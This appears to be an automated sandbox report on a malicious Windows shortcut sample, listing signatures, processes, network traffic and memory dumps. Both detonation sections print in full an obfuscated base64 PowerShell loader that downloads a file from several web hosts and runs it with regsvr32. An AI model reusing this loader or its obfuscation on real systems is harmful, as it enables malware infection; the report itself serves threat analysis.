Malware Analysis Report

2024-12-07 16:15

Sample ID 241113-qjgzgswjhk
Target b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55
SHA256 b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55

Threat Level: Likely malicious

The file b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 13:17

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 13:17

Reported

2024-11-13 13:19

Platform

win7-20241023-en

Max time kernel

119s

Max time network

121s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2396 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'MYvExyEhEwrb0+7Wwzlgq6aosqspG0hPUZnj2VbNfoOTH5tdwRZxuUtCGrFfBZhf/3eHdGFZ';$HRfF='ICAgICBXcml0ZS1Ib3N0ICJXTHJWUCI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly93d3cuaW5ncm91cGNvbnN1bHQuY29tL2ltYWdlcy9QRXgvIiwiaHR0cDovL3d1bGYubmwvY2dpLWJpbi9';$RFnG='0LyIsImh0dHA6Ly93cC5lcnlhei5uZXQvYmF5YXIxLzlaQUFPLyIsImh0dHA6Ly93d3cuY2lzbmMuaXQvd3AtY29udGVudC9TZ0NicklSeVV3YjlrakVLZTNKLyIsImh0dHA6Ly9hbGRvanVhbnBldHRpdGkuY29tLmFyL2FsbWFodS5jb20uYXIvQURPWXMvIiwiaHR0cDovL3poaXZpci5jb20vd3AvVS8iKTskdD0iVFFRd25jVGRLIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEVKanVUcHdpWUEuUEhCO1JlZ3N2cjMyLmV4ZSAiJGRcRUpqdVRwd2lZQS5QSEIiO2JyZWFrfSBjYXRjaCB7IH19';$ryVIql=$HRfF+$RFnG;$zDDWaH=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($ryVIql));$ryVIql=$zDDWaH;iex($ryVIql)}"

Network

N/A

Files

memory/2580-38-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp

memory/2580-39-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

memory/2580-40-0x0000000001D60000-0x0000000001D68000-memory.dmp

memory/2580-41-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2580-42-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2580-43-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

memory/2580-44-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 13:17

Reported

2024-11-13 13:19

Platform

win10v2004-20241007-en

Max time kernel

92s

Max time network

139s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 432 wrote to memory of 3900 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 432 wrote to memory of 3900 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'MYvExyEhEwrb0+7Wwzlgq6aosqspG0hPUZnj2VbNfoOTH5tdwRZxuUtCGrFfBZhf/3eHdGFZ';$HRfF='ICAgICBXcml0ZS1Ib3N0ICJXTHJWUCI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly93d3cuaW5ncm91cGNvbnN1bHQuY29tL2ltYWdlcy9QRXgvIiwiaHR0cDovL3d1bGYubmwvY2dpLWJpbi9';$RFnG='0LyIsImh0dHA6Ly93cC5lcnlhei5uZXQvYmF5YXIxLzlaQUFPLyIsImh0dHA6Ly93d3cuY2lzbmMuaXQvd3AtY29udGVudC9TZ0NicklSeVV3YjlrakVLZTNKLyIsImh0dHA6Ly9hbGRvanVhbnBldHRpdGkuY29tLmFyL2FsbWFodS5jb20uYXIvQURPWXMvIiwiaHR0cDovL3poaXZpci5jb20vd3AvVS8iKTskdD0iVFFRd25jVGRLIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEVKanVUcHdpWUEuUEhCO1JlZ3N2cjMyLmV4ZSAiJGRcRUpqdVRwd2lZQS5QSEIiO2JyZWFrfSBjYXRjaCB7IH19';$ryVIql=$HRfF+$RFnG;$zDDWaH=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($ryVIql));$ryVIql=$zDDWaH;iex($ryVIql)}"

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 www.ingroupconsult.com udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
SG 68.178.159.203:443 www.ingroupconsult.com tcp
US 8.8.8.8:53 ingroupconsult.com udp
SG 68.178.159.203:443 ingroupconsult.com tcp
US 8.8.8.8:53 203.159.178.68.in-addr.arpa udp
US 8.8.8.8:53 wulf.nl udp
NL 185.71.60.11:80 wulf.nl tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 wp.eryaz.net udp
US 8.8.8.8:53 www.cisnc.it udp
IT 109.116.126.217:80 www.cisnc.it tcp
US 8.8.8.8:53 aldojuanpettiti.com.ar udp
US 8.8.8.8:53 217.126.116.109.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 zhivir.com udp
CA 207.176.218.157:80 zhivir.com tcp
CA 207.176.218.157:443 zhivir.com tcp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 157.218.176.207.in-addr.arpa udp
US 8.8.8.8:53 103.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/3900-2-0x00007FFEAEB93000-0x00007FFEAEB95000-memory.dmp

memory/3900-3-0x000001CEF3680000-0x000001CEF36A2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n55fjtpw.eyi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3900-13-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp

memory/3900-14-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp

memory/3900-15-0x00007FFEAEB93000-0x00007FFEAEB95000-memory.dmp

memory/3900-16-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp

memory/3900-17-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp

memory/3900-18-0x000001CEF6390000-0x000001CEF6B36000-memory.dmp

memory/3900-24-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp